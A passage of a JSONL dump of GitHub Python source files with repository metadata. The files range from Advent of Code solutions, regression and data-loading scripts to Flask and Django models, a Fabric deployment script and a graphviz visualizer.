[])\r\n                InfectivityTesterCommunicator.send_data(client_socket, pack, self._logger)\r\n                client_socket.close()\r\n        else:\r\n            request = ClientServerCommunicator.read_data(client_socket)\r\n            self._logger.info(\"Request foreign received\")\r\n            response = None\r\n            if request.type == ClientPackageType.RESULTS:\r\n                results = request.payload\r\n                response = InfectivityResponse(InfectivityResponseType.TEST_RESULTS, [host,results])\r\n                self.__send_infectivity_response(response)\r\n        client_socket.close()\r\n\r\n\r\n\r\n        #case for SCAN_CLIENT\r\n        #self.__send_infectivity_response(response)\r\n\r\n\r\n    def __clear_finished_workers(self):\r\n        to_clear=[]\r\n        for worker in self.__workers:\r\n            if not worker.is_alive():\r\n                worker.join()\r\n                to_clear.append(worker)\r\n        for elim in to_clear:\r\n            self.__workers.remove(elim)\r\n\r\n    def handle_request(self, client_socket: socket):\r\n        th = Thread(target = self.__process_request,args=(client_socket,))\r\n        try:\r\n            self.__clear_finished_workers()\r\n        except Exception as e:\r\n            self._logger.info(\"Error while cleaning thread: %s\" %(e))\r\n        self._logger.info(\"Finished workers cleared\")\r\n        self.__workers.add(th)\r\n        self._logger.info(\"Thread created\")\r\n        th.start()\r\n        self._logger.info(\"Thread %s started\" % (th.native_id))\r\n\r\n","repo_name":"CodrinCristea-si/Router-Module","sub_path":"3rd_Device/network/client_tester.py","file_name":"client_tester.py","file_ext":"py","file_size_in_byte":4879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38016834236","text":"import dpath\nmax = 100000\ndisk = 70000000\nneeded = 30000000\n\nwith open('./input', 'r') as f:\n    lines = [line[:-1] for line in f]\n\nsizes = {}\ncounted = []\nwd = ''\nfs = {'root': {'_size': 0}}\n\n\ndef get(p):\n    return dpath.get(fs, p)\n\n\ndef sets(p, v):\n    dpath.new(fs, p, v)\n\n\ndef cd(p):\n    global wd\n    if p == '..':\n        wd = '/'.join(wd.split('/')[:-1])\n    elif p == '/':\n        wd = 'root'\n    else:\n        wd = wd + '/' + p\n\n\ndef cont(p):\n    a, b = p.split(' ')\n    if a == 'dir':\n        try:\n            dpath.get(wd + '/' + b)\n        except:\n            sets(wd + '/' + b, {'_size': 0})\n    else:\n        if wd + '/' + b in counted:\n            return\n        counted.append(wd + '/' + b)\n        recursiz(wd + '/' + p, int(a))\n\n\ndef recursiz(p, n):\n    pth = 'root'\n    for chnk in p.split('/')[1:]:\n        sz = get(pth + '/_size') + n\n        sets(pth + '/_size', sz)\n        sizes[pth] = sz\n        pth += '/' + chnk\n\n\nfor line in lines:\n    if line == 'ls':\n        continue\n    if line.startswith('$ cd'):\n        cd(line.split(' ')[2])\n    elif line[0] == '$':\n        continue\n    else:\n        cont(line)\n\ntotal = 0\nfor k, v in sizes.items():\n    if v <= max:\n        total += v\nprint('part 1:', total)\n\n\nfor sois in sorted(sizes.values()):\n    if sois >= needed - (disk - get('root/_size')):\n        print('part 2:', sois)\n        break","repo_name":"crsayen/advent-2022","sub_path":"07/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"36590222255","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport statsmodels.api as sm\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import datasets\ndiabetes=datasets.load_diabetes()\n#print (diabetes.data.shape)\n#print (diabetes.target.shape)\n#print (diabetes.feature_names)\nfeature_cols=diabetes.feature_names\n#diabetes=pd.DataFrame(diabetes)\n#print (diabetes.iloc[0:100,:])\nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(diabetes.data,diabetes.target,test_size=0.2,random_state=0)\n#print(X_train)\nmodel=LinearRegression()\nmodel.fit(X_train,y_train)\nprint (\"Model_Score or R-Squared\",model.score(X_test,y_test))\nprint (\"Model_Quotients\",model.coef_)\nprint (\"Model Intercept\",model.intercept_)\n#To View featurewise model co-efficients\nA=list(zip(feature_cols,model.coef_))\nprint(\"Feature wise co-efficients\",A)\n#print(model.predict(X_test))\ny_pred=model.predict(X_test)\nplt.plot(y_test,y_pred,\".\")\nx = np.linspace(0, 330, 100)\ny = x\nplt.plot(x, y)\n#plt.show()\nfrom sklearn import metrics\n#Absolute Mean Squared Error\nprint(\"Absolute_Mean_Squared_Error\",metrics.mean_absolute_error(y_test,y_pred))\n#Mean Squared Error\nprint(\"Mean_Squared_Error\",metrics.mean_squared_error(y_test,y_pred))\n#Root Mean squared error\nprint(\"RMSE\",np.sqrt(metrics.mean_squared_error(y_test,y_pred)))\n\n#To get r_squared and adjusted_r_squared\nSS_Residual = sum((y_test-y_pred)**2)\nSS_Total = sum((y_test-np.mean(y_test))**2)\nr_squared = 1 - (float(SS_Residual))/SS_Total\nprint (r_squared,\"r_squared\")\nadjusted_r_squared = 1 - (1-r_squared)*(len(y_test)-1)/(len(y_test)-X_train.shape[1]-1)\nprint(adjusted_r_squared,\"adjusted_r_squared\")\n\n#shapes\nprint(X_train.shape[0])#rows\nprint(X_train.shape[1])#columns\n\n#To check the significant variables\nX2 = sm.add_constant(X_train)\nest = sm.OLS(y_train, X2)\nest2 = est.fit()\nprint(est2.summary())\n\n#Calculate ViF\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nX_train=pd.DataFrame(X_train)\nvif=pd.DataFrame()\nvif[\"Vif Factor\"] = [variance_inflation_factor(X_train.values, i) for i in range(X_train.shape[1])]\nvif[\"Features\"]=X_train.columns\nprint (vif.round(1))\n","repo_name":"anuchowdary1995/diabetics","sub_path":"diabetics.py","file_name":"diabetics.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11580291744","text":"class BingoNumber:\n    def __init__(self, num: int):\n        self.number = num\n        self.marked = False\n\n    def mark_if(self, num: int):\n        if self.number == num:\n            self.marked = True\n\n    def mark(self):\n        self.marked = True\n\n    def __repr__(self):\n        if self.marked:\n            return f'<{str(self.number).rjust(2, \" \")}>'\n        else:\n            return f'[{str(self.number).rjust(2, \" \")}]'\n\n    def __bool__(self):\n        return self.marked\n\nclass Board:\n    def __init__(self):\n        self.board = []\n    \n    def add_row(self, row: list):\n        new_row = []\n        for num in row:\n            new_row.append(BingoNumber(num))\n        self.board.append(new_row)\n\n    def mark_number(self, num: int):\n        for row in self.board:\n            for number in row:\n                number.mark_if(num)\n\n    def won_row(self, row: int):\n        return all([bool(num) for num in self.board[row]])\n\n    def won_column(self, column: int):\n        return all([bool(row[column]) for row in self.board])\n\n    @property\n    def unmarked(self):\n        nums = []\n        for row in self.board:\n            for number in row:\n                if not number:\n                    nums.append(number.number)\n        return nums\n\n    @property\n    def has_won(self):\n        rows = any([self.won_row(i) for i in range(len(self.board))])\n        columns = any([self.won_column(i) for i in range(len(self.board[0]))])\n        return any([rows, columns])\n\n    def __repr__(self):\n        s = ''\n        for row in self.board:\n            for number in row:\n                s += str(number)\n            s += '\\n'\n        return s[:-1]\n\nnumbers = []\nboards = []\ncurrent_board = Board()\nfor line in open('day4.txt'):\n    line = line.strip()\n\n    if not numbers:\n        numbers = [int(n) for n in line.split(',')]\n        continue\n\n    if len(line) == 0 and len(current_board.board) > 0:\n        boards.append(current_board)\n        current_board = Board()\n        continue\n\n    if len(line) > 0:\n        row = [int(n) for n in line.split()]\n        current_board.add_row(row)\nboards.append(current_board)\n\nnum_boards = len(boards)\npart = 1\nfor num in numbers:\n    for board in boards:\n        board.mark_number(num)\n        if board.has_won:\n            if len(boards) in (num_boards, 1):\n                print(board)\n                print(f'Part {part}: {sum(board.unmarked)} * {num} = {sum(board.unmarked) * num}')\n                print()\n                part += 1\n            boards = [b for b in boards if b is not board]\n","repo_name":"ConcernedHobbit/aoc","sub_path":"2021/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40825845309","text":"# podział zbioru\nrandom.seed(42)\n\ntrain_fraction   = 0.6\nvalidation_fraction   = 0.9 - train_fraction\ntest_fraction   = 0.1\n\nrandom_list = random.sample(range(1, len(df) + 1), len(df))\nsample_list = np.divide(random_list, len(df))\n\ntrain_data         = df[(sample_list <= 1) & (sample_list > 1 - train_fraction)]\nvalidation_data    = df[(sample_list <= 1 - train_fraction) & (sample_list > test_fraction)]\ntest_data          = df[(sample_list <= test_fraction) & (sample_list >= 0)]\n\nprint(len(train_data), len(validation_data), len(test_data), len(train_data) + len(validation_data) + len(test_data) == len(df))\n\ntrain_data_indices = np.random.choice(df.index, len(train_data), replace = False)\ntrain_data = train_data.append(df.loc[train_data_indices]).sort_index()\n\ndf = pd.concat([df, df.loc[train_data_indices]]).drop_duplicates(keep=False)\n\nvalidation_data_indices = np.random.choice(df.index, len(validation_data), replace = False)\nvalidation_data = validation_data.append(df.loc[validation_data_indices]).sort_index()\n\ndf = pd.concat([df, df.loc[validation_data_indices]]).drop_duplicates(keep=False)\n\ntest_data_indices = np.random.choice(df.index, len(test_data), replace = False)\ntest_data = test_data.append(df.loc[test_data_indices]).sort_index()\n\ndf = pd.concat([train_data, validation_data, test_data]).sort_index()\n\nprint(len(set(test_data.index)) == len(test_data.index))\nprint(len(set(train_data.index)) == len(train_data.index))\nprint(len(set(validation_data.index)) == len(validation_data.index))\n\nprint(test_data['rain_tomorrow'].sum()*2 == len(test_data))\nprint(validation_data['rain_tomorrow'].sum()*2 == len(validation_data))\nprint(test_data['rain_tomorrow'].sum()*2 == len(test_data))\n\nprint(len(train_data), len(validation_data), len(test_data), len(train_data) + len(validation_data) + len(test_data) == len(df))\nprint(len(df))\n","repo_name":"robertgawrylczyk/misc","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11444804421","text":"\"\"\"\n    Description: Data Preprocessing\n    Author: Jimmy Lu\n    Date: March 2022\n\"\"\"\nfrom nltk.tokenize import WordPunctTokenizer\nfrom word_sequence import Word2Sequence\nimport config\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\n\n\ndef txt_to_wordlist(path):\n    \"\"\"\n    Args:\n        path (str): File storing text data\n    Purpose:\n        Preprocess words in the text file to list of words\n    Returns:\n        A list of all words in the file from path\n    \"\"\"\n    text = open(path).readlines()\n    seq_dict = {}\n    temp_sequence = []\n    count = 0\n    for i in range(len(text)):\n        if text[i] != \"\\n\":\n            temp_sequence += [text[i]]\n        else:\n            seq_dict[count] = temp_sequence\n            count = count + 1\n            temp_sequence = []\n    \n    word_list = []\n    for idx, (key, value) in enumerate(seq_dict.items()):\n        tknzed = [WordPunctTokenizer().tokenize(x) + [\"\\n\"] for x in value]\n        for sent in tknzed:\n            for word in sent:\n                word_list.append(word)\n                \n    return word_list\n\ndef to_sequence(wordlist, max_len):\n    \"\"\"\n    Args:\n        wordlist (list): List of words of the text file\n        max_len (int): Maximum token limit for each returning word sequence\n    Purpose:\n        Preprocess word list to word sequences of length max_len\n    Returns:\n        input_sequences (2D list): A list of word list containing words from wordlist of limit max_len\n    \"\"\"\n    input_sequences = []\n    \n    for i in range(0, len(wordlist)-max_len):\n        input_sequences.append(wordlist[i:i+max_len])\n        \n    return input_sequences\n\nclass Dataset(Dataset):\n    \"\"\"\n    Structure of Data:\n        INPUT: [\"<SOS>\"] + word1 + word2 + word3 + word4 + word5 + word6 (Assume Max_Len was 7)\n        TARGET: word1 + word2 + word3 + word4 + word5 + word6 + [\"<EOS>\"] (Assume Max_Len was 7)\n    Purpose:\n        PyTorch Dataset mechanism for future training\n    \"\"\"\n    def __init__(self, sequences, tokenizer, max_len, limit=None):\n        self.max_len = max_len\n        \n        self.sequences = sequences if limit == None else sequences[:limit]\n        \n        self.tokenizer = tokenizer\n  \n    def __getitem__(self, idx):\n        x = [\"<SOS>\"] + self.sequences[idx][:-1]\n        y = self.sequences[idx][0:-1] + [\"<EOS>\"]\n        \n        x = self.tokenizer.transform(x, max_len=self.max_len, pad_first=False)\n        y = self.tokenizer.transform(y, max_len=self.max_len, pad_first=False)\n\n        return x, y\n\n    def __len__(self):\n        return len(self.sequences)\n\n\ndef collate_fn(batch):\n    '''\n    Purpose:\n        Convert word sequences from PyTorch Dataset to torch.LongTensor\n    Param:\n        batch: ([x, y]， [x, y], output of getitem...)\n    '''\n    x, y = list(zip(*batch))\n    return torch.LongTensor(x), torch.LongTensor(y)\n\ndef get_dataloader(dataset, batch_size, shuffle=True, drop_last=False, collate_fn=collate_fn):\n    \"\"\"\n    Args:\n        dataset (torch.utils.data.Dataset): PyTorch Dataset containing ready word sequences\n        batch_size (int): batch_size of dataset\n        shuffle (bool, optional): Whether to shuffle returning dataloader. Defaults to True.\n        drop_last (bool, optional): Whether to drop last batch of returning dataloader. Defaults to False.\n        collate_fn (_type_, optional): Collate_fn for processing dataset. Defaults to collate_fn.\n    Purpose:\n        Return final processed PyTorch dataloader for training\n    Returns:\n        dataloader (torch.utils.data.DataLoader): PyTorch Dataloader containing sentence data\n    \"\"\"\n    dataloader = DataLoader(dataset=dataset,\n                            batch_size=batch_size,\n                            shuffle=shuffle,\n                            drop_last=drop_last,\n                            collate_fn=collate_fn)\n    return dataloader\n\n\n\nword_list = txt_to_wordlist(config.path)\ninput_sequences = to_sequence(word_list, config.max_len)\ndataset = Dataset(input_sequences, config.tokenizer, config.max_len, limit=None) # try with full dataset see what happens\ndataloader = get_dataloader(dataset, config.batch_size)\n\n\n# #NOTE: Test Run\n# if __name__ == \"__main__\":\n#     word_list = txt_to_wordlist(config.path)\n#     input_sequences = to_sequence(word_list, config.max_len)\n#     print(len(input_sequences[0]))\n    \n#     dataset = Dataset(input_sequences, config.max_len, limit=None)\n#     for i, (x, y) in enumerate(dataset):\n#         print(x)\n#         print(len(x))\n#         print(y)\n#         print(len(y))\n#         break\n    \n#     dataloader = get_dataloader(dataset, config.batch_size)\n#     for i, (x, y) in enumerate(dataloader):\n#         print(x)\n#         print(x.shape)\n#         print(y)\n#         print(y.shape)\n#         break","repo_name":"729557989/GPT-Imitation-for-TextGen","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"49815534623","text":"#Regular Method : it has first args is a self\n#Class method: has first args as 'cls' with decorator as a '@classmethod'\n# Static Method : dont pass automatically args or instance they just like function but it is in class\n\n#decorator : it alter the functionallaty of method\nclass Employee:\n    #class Variable\n    raise_amount = 1.04\n    emp_no = 0\n    def __init__(self,first,last,pay):\n        #instant variables\n        self.first = first\n        self.last = last\n        self.pay = pay\n        Employee.emp_no +=1\n    \n    def fullname(self):\n        return '{} {}'.format(self.first,self.last)\n    \n    def apply_raise(self):\n        self.pay = int(self.pay * self.raise_amount)\n    \n    #class Method\n    @classmethod\n    def apply_raise_amt(cls, amount):\n        cls.raise_amount = amount\n    #class methpd as alternative constructor\n    @classmethod\n    def from_string(cls, emp_str):\n        first, last, pay = emp_str.split('-')\n        #create new employee object\n        return cls(first,last,pay)\n    \n    #static method\n    @staticmethod\n    def is_weekday(day):\n        if day.weekday() == 5 or day.weekday():\n            return False\n        return True\n    \n\nemp1 = Employee('San','G',60000)\nemp2 = Employee('Test','User',50000)\n\n##it skip class varible automatically\n#emp1.apply_raise_amt(4)\nEmployee.apply_raise_amt(10)\nprint(Employee.raise_amount)\nprint(emp1.raise_amount)\n\n#\nemp1_str ='S-G-100000'\nnew_emp1 = Employee.from_string(emp1_str)\nprint(new_emp1.first)\nprint(new_emp1.last)\nprint(new_emp1.pay)\n\n\nfrom datetime import date\nmydatetime= date(2019,9,28)\nprint(Employee.is_weekday(mydatetime))","repo_name":"santoshgawande/PythonPractices","sub_path":"oops/class_method.py","file_name":"class_method.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"73485978020","text":"import re\nimport math\nimport operator\nfrom collections import defaultdict, deque\nfrom pathlib import Path\n\n\ndef gen_recipe(lines):\n    ingredient_regex = re.compile(r\"(\\d+ [A-Z]+),?\\s*(.*)\")\n    result_regex = re.compile(r\"=> (\\d+ [A-Z]+)\")\n\n    for line in lines:\n        ingredients = []\n        while True:\n            m = ingredient_regex.match(line)\n            if m:\n                ing, line = m.groups()\n                quant, name = ing.split()\n                ingredients.append((int(quant), name))\n                continue\n            m = result_regex.match(line)\n            if m:\n                (res,) = m.groups()\n                quant, name = res.split()\n                result = (int(quant), name)\n                break\n            raise RuntimeError(line)\n        yield ingredients, result\n\n\ndef calculate_top_order(ratios, name):\n    if name == \"ORE\":\n        return 0\n    return sum(calculate_top_order(ratios, n) for _, n in ratios[name]) + 1\n\n\ndef calculate_ore_for_fuel(ratios, amounts_produced, amount_fuel):\n    requirements = defaultdict(int)\n    requirements[\"FUEL\"] = amount_fuel\n    stockpile = defaultdict(int)\n\n    while [x for x in requirements if x != \"ORE\"]:\n        current_ing, _ = max(\n            [(n, calculate_top_order(ratios, n)) for n in requirements],\n            key=operator.itemgetter(1),\n        )\n        amount_required = requirements.pop(current_ing)\n        amount_required -= stockpile[current_ing]\n        stockpile[current_ing] = 0\n\n        quant_multiplier = math.ceil(amount_required / amounts_produced[current_ing])\n        excess = amounts_produced[current_ing] * quant_multiplier - amount_required\n        stockpile[current_ing] += excess\n\n        for quant, name in ratios[current_ing]:\n            amount_ingredient_required = quant * quant_multiplier\n            requirements[name] += amount_ingredient_required\n    return requirements[\"ORE\"]\n\n\ndef part1():\n    lines = Path(\"input/14.txt\").read_text().strip().split(\"\\n\")\n\n    recipe = list(gen_recipe(lines))\n    amounts_produced = {ing: c for _, (c, ing) in recipe}\n    ratios = {ing: req for req, (_, ing) in recipe}\n\n    required_ore = calculate_ore_for_fuel(ratios, amounts_produced, 1)\n    print(required_ore)\n\n\ndef find_max_fuel(ratios, amounts_produced):\n    total_ore = 1000000000000\n\n    possible_fuel = 1\n    prev_possible_fuel = 1\n    while True:\n        required_ore = calculate_ore_for_fuel(ratios, amounts_produced, possible_fuel)\n        if required_ore > total_ore:\n            break\n        prev_possible_fuel = possible_fuel\n        possible_fuel *= 2\n\n    possible_fuels = list(range(prev_possible_fuel, possible_fuel))\n    start = 0\n    stop = len(possible_fuels) - 1\n\n    while start <= stop:\n        mid = start + (stop - start) // 2\n        possible_fuel = possible_fuels[mid]\n        required_ore = calculate_ore_for_fuel(ratios, amounts_produced, possible_fuel)\n\n        if required_ore < total_ore:\n            start = mid + 1\n        elif required_ore > total_ore:\n            stop = mid - 1\n        else:\n            break\n\n    if required_ore > total_ore:\n        possible_fuel = possible_fuels[mid - 1]\n    return possible_fuel\n\n\ndef part2():\n    lines = Path(\"input/14.txt\").read_text().strip().split(\"\\n\")\n\n    recipe = list(gen_recipe(lines))\n    amounts_produced = {ing: c for _, (c, ing) in recipe}\n    ratios = {ing: req for req, (_, ing) in recipe}\n    max_fuel = find_max_fuel(ratios, amounts_produced)\n    print(max_fuel)\n\n\nif __name__ == \"__main__\":\n    # part1()\n    part2()\n","repo_name":"AusCoder/AdventOfCode","sub_path":"2019/14-refined.py","file_name":"14-refined.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1678746411","text":"from __future__ import unicode_literals\n__author__ = 'lexxodus'\n\nfrom app import db\nfrom app.api import api\nfrom app.models import LevelSkill as LevelSkillModel\nfrom datetime import datetime, timedelta\nfrom dateutil import parser\nfrom flask import abort, request\nfrom flask.ext.restful import Resource\n\ndef get_level_skill_json(level_skill, public=False):\n    data = {}\n    data[\"id\"] = level_skill.id\n    data[\"pid\"] = level_skill.pid\n    data[\"lid\"] = level_skill.lid\n    data[\"calculated_on\"] = level_skill.calculated_on.isoformat()\n    data[\"considered_rows\"] = level_skill.considered_rows\n    data[\"skill_points\"] = level_skill.skill_points\n    data[\"high_score\"] = level_skill.high_score\n    data[\"attempt\"] = level_skill.attempt\n    if public:\n        data['api_url'] = \"%s%s\" % (api.url_for(LevelSkill), level_skill.id)\n    return data\n\n\nclass LevelSkill(Resource):\n\n    def post(self):\n        required_values = [\"pid\", \"lid\"]\n        data = request.get_json()\n        if not all(v in data for v in required_values):\n            abort(404)\n        pid = data[\"pid\"]\n        lid = data[\"lid\"]\n        until = data.get(\"until\", None)\n        if until:\n            until = parser.parse(until)\n        level_skill = LevelSkillModel(pid, lid, until)\n        db.session.add(level_skill)\n        db.session.commit()\n        return get_level_skill_json(level_skill), 201\n\n    def get(self, id=None):\n        if id:\n            level_skill = LevelSkillModel.query.get(id)\n            if not level_skill:\n                abort(404)\n            return get_level_skill_json(level_skill)\n        else:\n            return self.get_all()\n\n    def get_all(self):\n        args = request.args\n        level_skills = LevelSkillModel.query\n        pids = args.getlist(\"pid\")\n        lids = args.getlist(\"lid\")\n        interval = args.get(\"interval\", None)\n        last = args.get(\"last\", None)\n        if pids:\n            level_skills = level_skills.filter(LevelSkillModel.pid.in_(pids))\n        if lids:\n            level_skills = level_skills.filter(LevelSkillModel.lid.in_(lids))\n        if interval:\n            level_skills = level_skills.filter(LevelSkillModel.calculated_on >= datetime.now() - timedelta(seconds=interval))\n        if last:\n            level_skills = level_skills.order_by(LevelSkillModel.calculated_on.desc()).limit(last)\n        else:\n            level_skills = level_skills.order_by(LevelSkillModel.calculated_on).all()\n        data = []\n        for l in level_skills:\n            data.append(get_level_skill_json(l))\n        return data\n\n    def delete(self, id):\n        level_skill = LevelSkillModel.query.get(id)\n        if not level_skill:\n            abort(404)\n        db.session.delete(level_skill)\n        db.session.commit()\n        return \"\", 204\n","repo_name":"lexxodus/gacfacg","sub_path":"app/api/level_skill.py","file_name":"level_skill.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21176412483","text":"\"\"\"\nCreate Models which will be mapped to tables in our database migrations.\n\nModels include: \n    Rooms: Has a title and description, can have attachments to other rooms and contain players\n    Players: Has a corresponding user, a current room.\n\n\"\"\"\n\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom rest_framework.authtoken.models import Token\nimport uuid\n\nclass Room(models.Model):\n    \"\"\"Creates room model (table in database)\n    Has a title, description, and n_to, s_to, e_to and w_to, which represent \n    connections to other rooms. \n    \"\"\"\n    title = models.CharField(max_length=50, default=\"DEFAULT TITLE\")\n    description = models.CharField(max_length=500, default=\"DEFAULT DESCRIPTION\")\n    n_to = models.IntegerField(default=0)\n    s_to = models.IntegerField(default=0)\n    e_to = models.IntegerField(default=0)\n    w_to = models.IntegerField(default=0)\n    def connectRooms(self, destinationRoom, direction):\n        '''Connects rooms together, checking to see if input direction and destination room are valid'''\n        destinationRoomID = destinationRoom.id\n        try:\n            destinationRoom = Room.objects.get(id=destinationRoomID)\n        except Room.DoesNotExist:\n            print(\"That room does not exist\")\n        else:\n            if direction == \"n\":\n                self.n_to = destinationRoomID\n            elif direction == \"s\":\n                self.s_to = destinationRoomID\n            elif direction == \"e\":\n                self.e_to = destinationRoomID\n            elif direction == \"w\":\n                self.w_to = destinationRoomID\n            else:\n                print(\"Invalid direction\")\n                return\n            self.save()\n    def playerNames(self, currentPlayerID):\n        '''Returns all players in a given room'''\n        return [p.user.username for p in Player.objects.filter(currentRoom=self.id) if p.id != int(currentPlayerID)]\n    def playerUUIDs(self, currentPlayerID):\n        '''Returns all player UUIDs in a given room'''\n        return [p.uuid for p in Player.objects.filter(currentRoom=self.id) if p.id != int(currentPlayerID)]\n\n\nclass Player(models.Model):\n    '''Creates a Player model (table in database) takes in a User, the current room, and a uuid'''\n    user = models.OneToOneField(User, on_delete=models.CASCADE)\n    currentRoom = models.IntegerField(default=0)\n    uuid = models.UUIDField(default=uuid.uuid4, unique=True)\n    def initialize(self):\n        '''Check to see if initial room is not yet set, and if so, sets it to the first room in the Room table (model)'''\n        if self.currentRoom == 0:\n            self.currentRoom = Room.objects.first().id\n            self.save()\n    def room(self):\n        '''Returns the id of the current room the player is in. If invalid room id, calls initialize'''\n        try:\n            return Room.objects.get(id=self.currentRoom)\n        except Room.DoesNotExist:\n            self.initialize()\n            return self.room()\n\n@receiver(post_save, sender=User)\ndef create_user_player(sender, instance, created, **kwargs):\n    '''Creates a user player'''\n    if created:\n        Player.objects.create(user=instance)\n        Token.objects.create(user=instance)\n\n@receiver(post_save, sender=User)\ndef save_user_player(sender, instance, **kwargs):\n    '''Saves a player to the database'''\n    instance.player.save()\n\n\n\n\n\n","repo_name":"Alex-McEvoy/LambdaMUD-Project","sub_path":"adventure/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"20386531519","text":"from contextlib import contextmanager as _contextmanager\n\nfrom fabric.api import env, cd, run, prefix\nfrom fabric.context_managers import settings\nfrom fabric.operations import sudo\n\nenv.hosts = ['reddyprasad.me']\n\ndjango_collectstatic_prompt = 'Type \\'yes\\' to continue, or \\'no\\' to cancel: '\n\n\n@_contextmanager\ndef virtualenv():\n    with prefix('source ~/.envs/blog/bin/activate'):\n        yield\n\n\ndef bootstrap():\n    env.user = 'ubuntu'\n\n    sudo('apt update && apt upgrade')\n    sudo('apt install python-virtualenv python-pip nginx')\n    sudo('pip install --upgrade pip')\n    run('mkdir -p apps')\n    run('mkdir -p .envs')\n    with cd('.envs'):\n        run('virtualenv blog')\n    with cd('apps'):\n        run('git clone https://github.com/dev-drprasad/my_blog.git')\n\n\ndef pull():\n    env.user = 'ubuntu'\n    with cd('apps'):\n        with cd('my_blog'):\n            run('git pull')\n\n            with virtualenv():\n                run('pip install --upgrade pip')\n                run('pip install -r requirements.txt')\n                with cd('src'):\n                    run('python manage.py migrate')\n                    with settings(prompts={django_collectstatic_prompt: 'yes'}):\n                        run('python manage.py collectstatic --settings=project.settings.production')\n","repo_name":"dev-drprasad/my_blog","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30319875810","text":"import functools\n\nimport graphviz as gv\n\nimport gvboost\nimport pyutils.func as func\nimport pyutils.graph as graph_util\nimport styles\nimport visualize.actions_labels as labels\nfrom abstractir.actions import *\nfrom abstractir.pstree import ProcessTreeConcept\n\n\nclass VisualizeOptions(object):\n    def __init__(self,\n                 output_file=None,\n                 output_type='svg',\n                 layout_dir='LR',\n                 engine='dot',\n                 do_show=False):\n        self.output_file = output_file\n        self.output_type = output_type\n        self.layout_dir = layout_dir\n        self.engine = engine\n        self.do_show = do_show\n\n\ndef make_gv_graph(graph,\n                  vis_opts,\n                  base_graph_attr=styles.BASE_GRAPH_ATTRS,\n                  base_node_attr=styles.BASE_NODE_ATTRS,\n                  base_edge_attr=styles.BASE_EDGE_ATTRS,\n                  clusterer_function=lambda _: None,\n                  cluster_attr_factory=lambda _: {},\n                  node_label_factory=lambda _: \"\",\n                  node_attr_factory=lambda node: {},\n                  edge_attr_factory=lambda edge: {}):\n    \"\"\" Builds graphviz dot graph from given objects graph (GraphInterface)\n\n    :param graph: graph to draw\n    :type graph: graph_util.GraphInterface\n    :param vis_opts: visualize options\n    :type vis_opts: VisualizeOptions\n    :param base_edge_attr: default graph edge attributes\n    :param base_node_attr: default graph node attributes\n    :param base_graph_attr: default graph attributes\n    :param clusterer_function: function, which gives cluster id for specified vertex/node\n    :param cluster_attr_factory: function, which returns cluster graph attrs for given cluster id\n    :param node_label_factory: function, which returns string label for given node\n    :param node_attr_factory: function, which returns attributes dictionary for given node\n    :param edge_attr_factory: function, which returns edge attributes dictionary for given edge\n\n    :return Dot Graph\n    \"\"\"\n\n    gv_builder = gvboost.GraphVizBuilder(graph_attr=base_graph_attr,\n                                         node_attr=base_node_attr,\n                                         edge_attr=base_edge_attr)\n\n    for node in graph.vertices_iter:\n        cluster_id = clusterer_function(node)\n        if cluster_id is not None and not gv_builder.has_cluster(cluster_id):\n            gv_builder.cluster(cluster_id, graph_attr=cluster_attr_factory(cluster_id))\n\n        gv_builder.node(node,\n                        label=node_label_factory(node),\n                        cluster_id=cluster_id,\n                        node_attr=node_attr_factory(node))\n\n    for edge in graph.edges_iter:\n        gv_builder.edge(edge[0], edge[1], edge_attr=edge_attr_factory(edge))\n\n    return gv_builder.build_gv_graph(g_format=vis_opts.output_type, engine=vis_opts.engine)\n\n\ndef render_actions_graph(actions_graph,\n                         do_process_cluster=False,\n                         node_buckets=None,\n                         vis_opts=None):\n    \"\"\" Renders actions graph to\n\n    :param actions_graph: actions graph\n    :type actions_graph: graph_util.DirectedGraph\n    :param do_process_cluster: adds actions clusters by action executor\n    :param node_buckets: dict from depth to list of vertices, which encodes vertices buckets\n    :param vis_opts: visualisation options\n    :type vis_opts: VisualizeOptions\n    \"\"\"\n\n    vis_opts = vis_opts if vis_opts else VisualizeOptions()\n\n    cluster_fun = func.val_returner(None)\n    cluster_attr_factory = func.val_returner({})\n\n    if node_buckets:\n        reverse_buckets = {v: k for k, vs in node_buckets.iteritems() for v in vs}\n\n        def cluster_fun(node): return reverse_buckets[node]\n\n        def cluster_attr_factory(cluster):\n            return {\n                'style': 'bold, dashed, rounded, filled',\n                'color': 'blue'\n            }\n\n    if do_process_cluster:\n        def cluster_fun(node): return get_action_executor(node)\n\n        def cluster_attr_factory(cluster):\n            return {\n                'style': 'bold, 